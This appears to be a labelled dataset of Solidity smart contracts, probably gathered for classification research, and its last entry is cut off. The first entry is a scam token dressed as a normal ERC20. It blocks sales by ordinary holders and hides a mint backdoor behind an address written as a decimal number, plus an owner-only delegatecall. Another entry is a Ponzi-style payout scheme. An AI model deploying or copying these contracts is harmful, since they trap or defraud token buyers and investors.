source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
---|---|---|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(858749215588756578423191794544755661730712473314));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,988 |
pragma solidity ^0.4.16;
contract CentraSale {
using SafeMath for uint;
address public contract_address = 0x96a65609a7b84e8842732deb08f56c3e21ac6f8a;
address public owner;
uint public constant min_value = 10**18*1/10;
uint256 public constant token_price = 1481481481481481;
uint256 public tokens_total;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function CentraSale() {
owner = msg.sender;
}
function() payable {
if(!(msg.value >= min_value)) throw;
tokens_total = msg.value*10**18/token_price;
if(!(tokens_total > 0)) throw;
if(!contract_transfer(tokens_total)) throw;
owner.send(this.balance);
}
function contract_transfer(uint _amount) private returns (bool) {
if(!contract_address.call(bytes4(sha3("transfer(address,uint256)")),msg.sender,_amount)) {
return false;
}
return true;
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
} | 0 | 759 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Proxy is Ownable, Destructible, Pausable {
Crowdsale public crowdsale;
function Proxy(Crowdsale _crowdsale) public {
setCrowdsale(_crowdsale);
}
function setCrowdsale(address _crowdsale) onlyOwner public {
require(_crowdsale != address(0));
crowdsale = Crowdsale(_crowdsale);
}
function () external whenNotPaused payable {
crowdsale.buyTokens.value(msg.value)(msg.sender);
}
}
contract Referral is Ownable, Destructible, Pausable {
using SafeMath for uint256;
Crowdsale public crowdsale;
Token public token;
address public beneficiary;
function Referral(address _crowdsale, address _token, address _beneficiary) public {
setCrowdsale(_crowdsale);
setToken(_token);
setBeneficiary(_beneficiary);
}
function setCrowdsale(address _crowdsale) onlyOwner public {
require(_crowdsale != address(0));
crowdsale = Crowdsale(_crowdsale);
}
function setToken(address _token) onlyOwner public {
require(_token != address(0));
token = Token(_token);
}
function setBeneficiary(address _beneficiary) onlyOwner public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
}
function () external whenNotPaused payable {
uint256 tokens = crowdsale.buyTokens.value(msg.value)(this);
uint256 baseAmount = crowdsale.getBaseAmount(msg.value);
uint256 refTokens = baseAmount.div(10);
token.transfer(beneficiary, refTokens);
tokens = tokens.sub(refTokens);
token.transfer(msg.sender, tokens);
}
}
contract Token is StandardToken, BurnableToken, DetailedERC20, Destructible {
function Token(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply)
DetailedERC20(_name, _symbol, _decimals) public
{
_totalSupply = _totalSupply;
totalSupply_ = _totalSupply;
balances[msg.sender] = totalSupply_;
Transfer(0x0, msg.sender, totalSupply_);
}
}
contract Crowdsale is Ownable, Pausable, Destructible {
using SafeMath for uint256;
struct Vault {
uint256 tokenAmount;
uint256 weiValue;
address referralBeneficiary;
}
struct CustomContract {
bool isReferral;
bool isSpecial;
address referralAddress;
}
bool crowdsaleConcluded = false;
Token public token;
uint256 public startTime;
uint256 public endTime;
uint256 minimum_invest = 100000000000000;
uint256 week_1 = 20;
uint256 week_2 = 15;
uint256 week_3 = 10;
uint256 week_4 = 0;
uint256 week_special_1 = 40;
uint256 week_special_2 = 15;
uint256 week_special_3 = 10;
uint256 week_special_4 = 0;
uint256 week_referral_1 = 25;
uint256 week_referral_2 = 20;
uint256 week_referral_3 = 15;
uint256 week_referral_4 = 5;
mapping (address => CustomContract) public customBonuses;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public tokensSold;
uint256 public tokensOnHold;
mapping(address => Vault) ballers;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _token) public {
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
token = Token(_token);
}
function () external whenNotPaused payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public whenNotPaused payable returns (uint256) {
require(!hasEnded());
require(minimum_invest <= msg.value);
address beneficiary = _beneficiary;
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
var tokens = getTokenAmount(weiAmount);
bool isLess = false;
if (!hasEnoughTokensLeft(weiAmount)) {
isLess = true;
uint256 percentOfValue = tokensLeft().mul(100).div(tokens);
require(percentOfValue <= 100);
tokens = tokens.mul(percentOfValue).div(100);
weiAmount = weiAmount.mul(percentOfValue).div(100);
beneficiary.transfer(msg.value.sub(weiAmount));
}
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
if ((11 ether) <= weiAmount) {
tokensOnHold = tokensOnHold.add(tokens);
ballers[beneficiary].tokenAmount += tokens;
ballers[beneficiary].weiValue += weiAmount;
ballers[beneficiary].referralBeneficiary = address(0);
if (customBonuses[msg.sender].isReferral == true) {
ballers[beneficiary].referralBeneficiary = customBonuses[msg.sender].referralAddress;
}
return (0);
}
token.transfer(beneficiary, tokens);
forwardFunds(weiAmount);
if (isLess == true) {
return (tokens);
}
return (tokens);
}
function viewFunds(address _wallet) public view returns (uint256) {
return ballers[_wallet].tokenAmount;
}
function releaseFunds(address _wallet) onlyOwner public {
require(ballers[_wallet].tokenAmount > 0);
require(ballers[_wallet].weiValue <= this.balance);
uint256 tokens = ballers[_wallet].tokenAmount;
tokensOnHold = tokensOnHold.sub(tokens);
forwardFunds(ballers[_wallet].weiValue);
if (ballers[_wallet].referralBeneficiary != address(0)) {
uint256 refTokens = tokens.mul(10).div(100);
token.transfer(ballers[_wallet].referralBeneficiary, refTokens);
tokens = tokens.sub(refTokens);
}
token.transfer(_wallet, tokens);
ballers[_wallet].tokenAmount = 0;
ballers[_wallet].weiValue = 0;
}
function refundFunds(address _wallet) onlyOwner public {
require(ballers[_wallet].tokenAmount > 0);
require(ballers[_wallet].weiValue <= this.balance);
tokensOnHold = tokensOnHold.sub(ballers[_wallet].tokenAmount);
_wallet.transfer(ballers[_wallet].weiValue);
weiRaised = weiRaised.sub(ballers[_wallet].weiValue);
tokensSold = tokensSold.sub(ballers[_wallet].tokenAmount);
ballers[_wallet].tokenAmount = 0;
ballers[_wallet].weiValue = 0;
}
function addOldInvestment(address _beneficiary, uint256 _weiAmount, uint256 _tokensWithDecimals) onlyOwner public {
require(_beneficiary != address(0));
weiRaised = weiRaised.add(_weiAmount);
tokensSold = tokensSold.add(_tokensWithDecimals);
token.transfer(_beneficiary, _tokensWithDecimals);
TokenPurchase(msg.sender, _beneficiary, _weiAmount, _tokensWithDecimals);
}
function setCustomBonus(address _contract, bool _isReferral, bool _isSpecial, address _referralAddress) onlyOwner public {
require(_contract != address(0));
customBonuses[_contract] = CustomContract({
isReferral: _isReferral,
isSpecial: _isSpecial,
referralAddress: _referralAddress
});
}
function addOnHold(uint256 _amount) onlyOwner public {
tokensOnHold = tokensOnHold.add(_amount);
}
function subOnHold(uint256 _amount) onlyOwner public {
tokensOnHold = tokensOnHold.sub(_amount);
}
function setMinInvestment(uint256 _investment) onlyOwner public {
require(_investment > 0);
minimum_invest = _investment;
}
function changeEndTime(uint256 _endTime) onlyOwner public {
require(_endTime > startTime);
endTime = _endTime;
}
function changeStartTime(uint256 _startTime) onlyOwner public {
require(endTime > _startTime);
startTime = _startTime;
}
function setWallet(address _wallet) onlyOwner public {
require(_wallet != address(0));
wallet = _wallet;
}
function setToken(address _token) onlyOwner public {
require(_token != address(0));
token = Token(_token);
}
function endSale() onlyOwner public {
crowdsaleConcluded = true;
token.burn(token.balanceOf(this));
}
function evacuateTokens(address _wallet) onlyOwner public {
require(_wallet != address(0));
token.transfer(_wallet, token.balanceOf(this));
}
function hasEnded() public view returns (bool) {
return now > endTime || token.balanceOf(this) == 0 || crowdsaleConcluded;
}
function getBaseAmount(uint256 _weiAmount) public view returns (uint256) {
return _weiAmount.mul(rate);
}
function getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokens = getBaseAmount(_weiAmount);
uint256 percentage = 0;
if (customBonuses[msg.sender].isSpecial == true) {
if ( startTime <= now && now < startTime + 7 days ) {
percentage = week_special_1;
} else if ( startTime + 7 days <= now && now < startTime + 14 days ) {
percentage = week_special_2;
} else if ( startTime + 14 days <= now && now < startTime + 21 days ) {
percentage = week_special_3;
} else if ( startTime + 21 days <= now && now <= endTime ) {
percentage = week_special_4;
}
} else {
if ( startTime <= now && now < startTime + 7 days ) {
percentage = week_1;
} else if ( startTime + 7 days <= now && now < startTime + 14 days ) {
percentage = week_2;
} else if ( startTime + 14 days <= now && now < startTime + 21 days ) {
percentage = week_3;
} else if ( startTime + 21 days <= now && now <= endTime ) {
percentage = week_4;
}
if (customBonuses[msg.sender].isReferral == true) {
percentage += 15;
}
}
if (msg.value >= 50 ether) {
percentage += 80;
} else if (msg.value >= 30 ether) {
percentage += 70;
} else if (msg.value >= 10 ether) {
percentage += 50;
} else if (msg.value >= 5 ether) {
percentage += 30;
} else if (msg.value >= 3 ether) {
percentage += 10;
}
tokens += tokens.mul(percentage).div(100);
assert(tokens > 0);
return (tokens);
}
function forwardFunds(uint256 _amount) internal {
wallet.transfer(_amount);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function tokensLeft() public view returns (uint256) {
return token.balanceOf(this).sub(tokensOnHold);
}
function hasEnoughTokensLeft(uint256 _weiAmount) public payable returns (bool) {
return tokensLeft().sub(_weiAmount) >= getBaseAmount(_weiAmount);
}
} | 1 | 4,546 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed _from, address indexed _to, uint _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract REKTTokenSale {
using SafeMath for uint;
address public admin;
address public REKTMultiSigWallet;
REKT public token;
bool public haltSale;
function REKTTokenSale( address _admin,
address _REKTMultiSigWallet,
REKT _token)
{
admin = _admin;
REKTMultiSigWallet = _REKTMultiSigWallet;
token = _token;
}
function setHaltSale( bool halt ) {
require( msg.sender == admin );
haltSale = halt;
}
function() payable {
buy( msg.sender );
}
event Buy( address _buyer, uint _tokens, uint _payedWei );
function buy( address recipient ) payable returns(uint){
require( ! haltSale );
sendETHToMultiSig( msg.value );
uint receivedTokens = msg.value.mul( 1000 );
assert( token.transfer( recipient, receivedTokens ) );
Buy( recipient, receivedTokens, msg.value );
return msg.value;
}
function sendETHToMultiSig( uint value ) internal {
REKTMultiSigWallet.transfer( value );
}
function emergencyDrain(ERC20 anyToken) returns(bool){
require( msg.sender == admin );
if( this.balance > 0 ) {
sendETHToMultiSig( this.balance );
}
if( anyToken != address(0x0) ) {
assert( anyToken.transfer(REKTMultiSigWallet, anyToken.balanceOf(this)) );
}
return true;
}
}
contract REKT is StandardToken, Ownable {
string public constant name = "REKT";
string public constant symbol = "REKT";
uint public constant decimals = 18;
address public tokenSaleContract;
modifier validDestination( address to ) {
require(to != address(0x0));
require(to != address(this) );
_;
}
function REKT( uint tokenTotalAmount, address admin ) {
balances[msg.sender] = tokenTotalAmount.div(2);
balances[admin] = tokenTotalAmount.div(2);
totalSupply = tokenTotalAmount;
Transfer(address(0x0), msg.sender, tokenTotalAmount);
tokenSaleContract = msg.sender;
transferOwnership(admin);
}
function transfer(address _to, uint _value)
validDestination(_to)
returns (bool) {
return super.transfer(_to, _value);
}
function setTokenSaleContract(address _tokenSaleContract) onlyOwner {
tokenSaleContract = _tokenSaleContract;
}
function transferFrom(address _from, address _to, uint _value)
validDestination(_to)
returns (bool) {
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value)
returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
function burnFrom(address _from, uint256 _value)
returns (bool) {
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
} | 0 | 1,870 |
pragma solidity ^0.4.25;
contract Multiplier2 {
address constant private FATHER = 0x7CDfA222f37f5C4CCe49b3bBFC415E8C911D1cD8;
address constant private TECH_AND_PROMO = 0xdA149b17C154e964456553C749B7B4998c152c9E;
uint constant public FATHER_PERCENT = 6;
uint constant public TECH_AND_PROMO_PERCENT = 1;
uint constant public MAX_INVESTMENT = 3 ether;
uint constant public MULTIPLIER = 111;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
mapping(address => uint) public numInQueue;
function () public payable {
if(msg.value > 0 && msg.sender != FATHER){
require(gasleft() >= 250000, "We require more gas!");
require(msg.value <= MAX_INVESTMENT);
uint donation = msg.value*FATHER_PERCENT/100;
require(FATHER.call.value(donation).gas(gasleft())());
require(numInQueue[msg.sender] == 0, "Only one deposit at a time!");
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
numInQueue[msg.sender] = queue.length;
uint support = msg.value*TECH_AND_PROMO_PERCENT/100;
TECH_AND_PROMO.send(support);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=currentReceiverIndex; i<queue.length; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete numInQueue[dep.depositor];
delete queue[i];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 214 |
pragma solidity ^ 0.4 .9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ESMSToken {
